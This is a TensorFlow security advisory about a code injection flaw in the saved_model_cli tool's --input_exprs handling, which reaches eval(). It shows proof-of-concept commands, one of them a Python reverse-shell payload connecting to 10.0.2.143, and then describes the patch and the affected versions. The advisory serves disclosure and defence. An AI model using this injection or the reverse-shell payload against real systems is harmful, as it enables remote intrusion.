Code injection in `saved_model_cli` in TensorFlow
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_defaultThis can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_defaultThis is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dictThis code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
